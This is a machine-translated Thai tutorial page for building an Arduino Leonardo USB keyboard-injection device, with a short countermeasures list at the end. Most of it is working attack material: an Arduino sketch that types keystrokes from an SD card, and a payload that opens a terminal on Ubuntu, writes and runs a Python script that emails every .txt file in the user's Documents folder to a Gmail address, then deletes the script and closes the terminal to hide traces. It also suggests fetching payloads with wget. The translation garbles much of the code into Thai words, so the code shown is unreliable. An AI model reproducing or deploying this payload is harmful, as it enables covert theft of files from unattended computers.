สารบัญ:

Arduino Keyboard Exploit Demo (HID) และการป้องกัน: 4 ขั้นตอน (พร้อมรูปภาพ)
Arduino Keyboard Exploit Demo (HID) และการป้องกัน: 4 ขั้นตอน (พร้อมรูปภาพ)

วีดีโอ: Arduino Keyboard Exploit Demo (HID) และการป้องกัน: 4 ขั้นตอน (พร้อมรูปภาพ)

วีดีโอ: Arduino Keyboard Exploit Demo (HID) และการป้องกัน: 4 ขั้นตอน (พร้อมรูปภาพ)
วีดีโอ: Hacking into Android in 32 seconds | HID attack | Metasploit | PIN brute force PoC 2024, ธันวาคม
Anonim
Image
Image
การสร้างอุปกรณ์
การสร้างอุปกรณ์

ในโครงการนี้ เราจะใช้ arduino leonardo เพื่อจำลองการโจมตี USB ที่เป็นไปได้โดยใช้ HID (อุปกรณ์อินเทอร์เฟซ humain)

ฉันได้สร้างบทช่วยสอนนี้ขึ้นมาเพื่อไม่ได้ช่วยแฮ็กเกอร์ แต่เพื่อแสดงให้คุณเห็นถึงอันตรายที่แท้จริงและวิธีป้องกันตนเองจากอันตรายเหล่านั้น อุปกรณ์นี้ไม่ใช่อุปกรณ์ที่ใช้กับแพลตฟอร์มใด ๆ สำหรับแฮกเกอร์ แต่เป็นเครื่องพิสูจน์แนวคิดโดยละเอียด

เราจะเรียนรู้สิ่งต่อไปนี้:

- วิธีใช้ arduino leonardo เพื่อเลียนแบบแป้นพิมพ์

- วิธีอ่านข้อมูลจากการ์ด SD

- วิธีสร้างสคริปต์หลามที่สแกนไฟล์และส่งอีเมลถึงพวกเขา

- วิธีป้องกันตนเองจากอุปกรณ์แฮ็ค USB

ขั้นตอนที่ 1: วัสดุ

อะไหล่:

1. Arduino เลโอนาร์โด

2. เครื่องอ่านการ์ดไมโคร USB

3. การ์ด SD สองสาม GB

4. ปุ่มกดแบบนี้ (VCC, Ground และ Signal)

5. สายจัมเปอร์หญิง-ชาย และ หญิง-หญิง

6. สายไมโคร USB เป็น USB

ขั้นตอนที่ 2: สร้างอุปกรณ์

การสร้างอุปกรณ์
การสร้างอุปกรณ์

ก่อนสร้างคำแนะนำให้ทบทวนหลักการทำงาน:

Arduino leonardo สามารถทำงานเหมือนอุปกรณ์เชื่อมต่อมนุษย์ (HID) และสามารถเลียนแบบเมาส์และคีย์บอร์ดได้ เราจะใช้คุณสมบัตินี้เพื่อเปิดเทอร์มินัล (ใน UBUNTU linux) และเขียนสคริปต์ขนาดเล็กที่จะเข้าถึงโฟลเดอร์ /Documents ภายในโฟลเดอร์เริ่มต้นของผู้ใช้ คัดลอกไฟล์.txt ที่นั่นและส่งอีเมลถึงใครบางคน หากคุณต้องการทราบรายละเอียดเพิ่มเติม โปรดตรวจสอบขั้นตอนต่อไป

เนื่องจากเป็นอุปกรณ์สาธิต สิ่งต่าง ๆ นั้นง่ายมาก เราจะไม่บัดกรีอะไรเลย

คำแนะนำในการสร้าง

ก่อนที่เราจะเริ่มต้น ให้ตรวจสอบไฟล์ที่แนบมา ฉันได้แนบ schematics fritzing และไฟล์ที่จำเป็นทั้งหมดแล้ว

1. ประกอบส่วนประกอบ:

* เสียบสาย micro USB เข้ากับ Arduino

* เชื่อมต่อสวิตช์กุญแจกับ Arduino (กราวด์, vcc และโมดูลออกไปยัง D8)

* เชื่อมต่อเครื่องอ่านการ์ดกับ Arduino (โดยใช้ส่วนหัว ICSP) Arduino leonardo ไม่มีส่วนหัว ICSP ที่เชื่อมต่อกับพินดิจิทัล ดังนั้น คุณจะต้องเชื่อมต่อเครื่องอ่านการ์ดกับส่วนหัวของ ICSP คุณสามารถค้นหาภาพวาดของ ICSP ได้ที่นี่: https://learn.sparkfun.com/tutorials/installing-an… ต่อขา SS เข้ากับขาดิจิตอล 10

2. รับรหัส Arduino คุณสามารถโคลนที่เก็บ Arduino ของฉันบน github: https://github.com/danionescu0/arduino และไปที่โครงการ/keyboard_exploit หรือรับจากด้านล่าง:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; สตริง sleepCommandStartingPoint = "Sleep::"; สตริง commandStartingPoint = "คำสั่ง::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int PreviousButtonState = สูง; การตั้งค่าเป็นโมฆะ () { pinMode (buttonPin, INPUT); Serial.begin(9600); แป้นพิมพ์.begin(); if (!SD.begin(chipSelect)) { Serial.println("การ์ดล้มเหลวหรือไม่มีอยู่!"); กลับ; } } วงเป็นโมฆะ () { int buttonState = digitalRead (buttonPin); ถ้า ((buttonState != PreviousButtonState) && (buttonState == สูง)) { sdFileToKeyboard (); Serial.println("อัพโหลดแล้ว!"); ล่าช้า (500); } PreviousButtonState = buttonState; } โมฆะ sdFileToKeyboard () { ไฟล์ dataFile = SD.open (filenameOnCard); ถ้า (!dataFile) { Serial.println ("ชื่อไฟล์ที่ระบุไม่มีอยู่ในการ์ด SD ให้ตรวจสอบ filenameOnCard!"); } สายอักขระ; ในขณะที่ (dataFile.available ()) { line = dataFile.readStringUntil ('\ n'); Serial.println(บรรทัด); sendToKeyboard(บรรทัด); } dataFile.close(); } เป็นโมฆะ sendToKeyboard (สตริงบรรทัด) { สตริง workingLine = บรรทัด; if (workingLine.indexOf (sleepCommandStartingPoint) != -1) { sleepFor(line); กลับ; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Text:");Serial.println(line); Keyboard.println(บรรทัด); กดปุ่มตกลง(); กลับ; } Serial.println("คำสั่ง:"); int charPosition = commandStartingPoint.length(); int lineLength = line.length(); WorkingLine += ",", "; ในขณะที่ (workingLine != "") { workingLine = workingLine.substring (charPosition); Serial.print("WorkingLine:");Serial.println(สายการทำงาน); int specialCommandDelimiterPosition = workingLine.indexOf(", "); คำสั่งสตริง = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (คำสั่ง != "") { Serial.print ("Command found:"); Serial.println (คำสั่ง); Keyboard.press(getCommandCode(คำสั่ง)); ล่าช้า (delayBetweenCommands); } } Keyboard.releaseAll(); ล่าช้า (delayBetweenCommands); } เป็นโมฆะ pressEnter () { Keyboard.press (KEY_RETURN); Keyboard.releaseAll(); } โมฆะ sleepFor (สตริงบรรทัด) { int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()).toInt (); Serial.print("นอนเพื่อ:");Serial.println(sleepAmount); ล่าช้า (sleepAmount); } ถ่าน getCommandCode (ข้อความสตริง) { อักขระ textCharacters[2]; text.toCharArray (ตัวอักษรข้อความ 2); รหัสถ่าน = textCharacters[0]; รหัส = (ข้อความ == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: รหัส; รหัส = (ข้อความ == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: รหัส; รหัส = (ข้อความ == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: รหัส; รหัส = (ข้อความ == "KEY_UP_ARROW") ? KEY_UP_ARROW: รหัส; รหัส = (ข้อความ == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: รหัส; รหัส = (ข้อความ == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: รหัส; รหัส = (ข้อความ == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: รหัส; รหัส = (ข้อความ == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: รหัส; รหัส = (ข้อความ == "KEY_BACKSPACE") ? KEY_BACKSPACE: รหัส; รหัส = (ข้อความ == "KEY_TAB") ? KEY_TAB: รหัส; รหัส = (ข้อความ == "KEY_RETURN") ? KEY_RETURN: รหัส; รหัส = (ข้อความ == "KEY_ESC") ? KEY_ESC: รหัส; รหัส = (ข้อความ == "KEY_INSERT") ? KEY_INSERT: รหัส; รหัส = (ข้อความ == "KEY_DELETE") ? KEY_DELETE: รหัส; รหัส = (ข้อความ == "KEY_PAGE_UP") ? KEY_PAGE_UP: รหัส; รหัส = (ข้อความ == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: รหัส; รหัส = (ข้อความ == "KEY_HOME") ? KEY_HOME: รหัส; รหัส = (ข้อความ == "KEY_END") ? KEY_END: รหัส; รหัส = (ข้อความ == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: รหัส; รหัส = (ข้อความ == "KEY_F1") ? KEY_F1: รหัส; รหัส = (ข้อความ == "KEY_F2") ? KEY_F2: รหัส; รหัส = (ข้อความ == "KEY_F3") ? KEY_F3: รหัส; รหัส = (ข้อความ == "KEY_F4") ? KEY_F4: รหัส; รหัส = (ข้อความ == "KEY_F5") ? KEY_F5: รหัส; รหัส = (ข้อความ == "KEY_F6") ? KEY_F6: รหัส; รหัส = (ข้อความ == "KEY_F7") ? KEY_F7: รหัส; รหัส = (ข้อความ == "KEY_F8") ? KEY_F8: รหัส; รหัส = (ข้อความ == "KEY_F9") ? KEY_F9: รหัส; รหัส = (ข้อความ == "KEY_F10") ? KEY_F10: รหัส; รหัส = (ข้อความ == "KEY_F11") ? KEY_F1: รหัส; รหัส = (ข้อความ == "KEY_F12") ? KEY_F2: รหัส;

รหัสส่งคืน;

}

3. อัปโหลดรหัสไปยัง Arduino อย่าลืมเลือกอัตราบอด 9600 พอร์ตอนุกรมและ arduino leonardo

4. ฟอร์แมตการ์ด SD โดยใช้ FAT16 หรือ FAT32

5. หากคุณโคลน repo github จากด้านบน ให้คัดลอกไฟล์ hack.txt บนการ์ด หากไม่ใช่ไฟล์จะแสดงรายการด้านล่าง:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMEText นำเข้า MIMEText จาก email. Utils นำเข้า COMMASPACE จัดรูปแบบจากการนำเข้าอีเมล ตัวเข้ารหัส

smtp_user = 'ผู้ส่ง_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'เอกสาร'

subject = body = 'ไฟล์จากคอมพิวเตอร์ที่ถูกแฮ็ก'

ส่วนหัว = 'ถึง:{0}\nFrom: {1}\nSubject: {2}\n'.format(to_address, smtp_user, subject)

def sendMail(ถึง, เรื่อง, ข้อความ, ไฟล์=):

msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach ดูเพิ่มเติม (MIMEText(ข้อความ)) สำหรับไฟล์ในไฟล์: part = MIMEBase('application', "octet-stream") part.set_payload(open(file, "rb")).read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)

เซิร์ฟเวอร์ = smtplib. SMTP('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user ถึง msg.as_string()) server.quit()

sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

สลีป::50 คำสั่ง::KEY_ESC สลีป::100:x สลีป::500 nohup python hack.py & Sleep::700 rm -rf hack.py สลีป::400 คำสั่ง::KEY_LEFT_ALT, KEY_F4

6. แก้ไขบรรทัดต่อไปนี้:

smtp_user = 'ผู้ส่ง_email_addr'

smtp_pass = 'sender_password' to_address = 'ที่อยู่ผู้รับ'

และแทนที่ด้วยที่อยู่อีเมลของคุณ

7. ถอดการ์ดและใส่ลงในเครื่องอ่านการ์ด Arduino

ขั้นตอนที่ 3: มันทำงานอย่างไรในรายละเอียด

การโจมตีจะทำงานอย่างไร:

1. เมื่อกดปุ่ม ลีโอนาร์โดจะอ่านการ์ด sd โดยใช้เครื่องอ่านการ์ด sd ไฟล์พิเศษที่มีคีย์และคีย์ผสมจะปรากฏบนการ์ด ชื่อไฟล์คือ "hack.txt"

ไฟล์สามารถมีข้อความดิบและจะถูกส่งไปยังแป้นพิมพ์เหมือนเดิม

นอกจากนี้ยังสามารถมีคำสั่งพิเศษเช่น "Sleep::" และ "Command::"

บรรทัดเช่น:

Sleep::200 หมายถึงการนอนหลับ 200 ms

บรรทัดเช่น:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t หมายถึงกด ctrl ซ้าย, กด alt ซ้าย, t กดแล้วปล่อยทั้งหมด

คุณสามารถตรวจสอบคีย์พิเศษทั้งหมดได้ที่นี่:

2. เลโอนาร์โดจะอ่านทีละบรรทัด และตีความคำสั่งและจำลองคีย์บนแป้นพิมพ์ ไฟล์ "hack.txt" ประกอบด้วยคีย์ต่างๆ ที่ทำสิ่งต่อไปนี้ (สำหรับ UBUNTU linux):

NS. เปิดเทอร์มินัล (CTRL + ALT + T)

NS. เปิดไฟล์ python เพื่อสร้างโดยใช้ vi (เขียนว่า "vi hack.py"

ค. เขียนสคริปต์หลามภายในที่รวบรวมไฟล์ข้อความทั้งหมดภายในโฟลเดอร์หลักของเอกสารและส่งไปยังที่อยู่ Gmail ที่ระบุ

NS. เรียกใช้ไฟล์ในพื้นหลัง ("nohup python hack.py &")

อี ลบไฟล์ (rm -rf hack.py)

NS. ปิดเทอร์มินัล (ALT + F4)

ทั้งหมดนี้ทำงานภายในไม่กี่วินาทีและไม่ทิ้งร่องรอย

การปรับปรุงและการแก้ไขปัญหา

* คุณอาจสังเกตเห็นว่าหลังจากที่ฉันเปิดเทอร์มินัล ฉันกำลังเขียนไฟล์ python วิธีที่ดีกว่าคือการโฮสต์ไว้ที่ไหนสักแห่งและดาวน์โหลดโดยใช้คำสั่ง "wget some_url" จากนั้นเปลี่ยนชื่อเป็น hack.py

* นอกจากนี้ เราสามารถดาวน์โหลดหรือเรียกใช้ช่องโหว่สำเร็จรูปสำหรับระบบปฏิบัติการเป้าหมายได้

* สามารถเพิ่ม wifi ลงในโมดูลและแฮ็คสามารถอัปโหลดผ่าน WIFI

* คุณสามารถใช้ arduino micro (ซึ่งเล็กกว่ามาก) และฝังโค้ดการหาช่องโหว่ (เพื่อให้เล็กลง)

ข้อจำกัด

1. เนื่องจากอุปกรณ์จำลอง (แป้นพิมพ์และเมาส์) ไม่มีข้อเสนอแนะใด ๆ เราจึงไม่ทราบว่าจะเกิดอะไรขึ้นหลังจากออกคำสั่งซึ่งหมายความว่าเราจำเป็นต้องใช้การหน่วงเวลา ตัวอย่างเช่น ฉันกำลังออกคำสั่งให้เปิดเทอร์มินัล แต่ฉันไม่รู้ว่ามันจะเปิดจริงเมื่อไหร่ ดังนั้นฉันจึงต้องระบุการหน่วงเวลาโดยอำเภอใจเพื่อให้แน่ใจว่าตัวอักษรที่พิมพ์หลังจากนั้นจะไม่สูญหาย

2. เราอาจประสบปัญหาการอนุญาตเช่นไม่มีการเข้าถึงพอร์ต USB หรือการอนุญาตให้ติดตั้งบางอย่าง

3. ความเร็วในการพิมพ์ไม่ค่อยดีนักสำหรับ leonardo

4. จะทำงานบนระบบปฏิบัติการเป้าหมายเท่านั้น (ในกรณีของเรา UBUNTU linux)

ในขั้นตอนต่อไปจะพยายามหาวิธีใช้ประโยชน์จากข้อจำกัดนี้เพื่อป้องกันไม่ให้คอมพิวเตอร์ของเราถูกแฮ็ก

ขั้นตอนที่ 4: มาตรการรับมือ

1. ปิดการใช้งานพอร์ต USB

- สำหรับ windows คุณสามารถตรวจสอบบทช่วยสอนนี้:

2. อุปกรณ์ USB ที่อนุญาตพิเศษ:

- สำหรับ windows:

2. ล็อคคอมพิวเตอร์ของคุณเมื่อคุณไม่อยู่

3. อย่าเข้าสู่ระบบในฐานะรูท (ต้องใช้รหัสผ่านสำหรับการติดตั้งอะไรก็ตาม)

4. อัพเดทตัวเองอยู่เสมอ (เปิดอัพเดทอัตโนมัติ)

แนะนำ: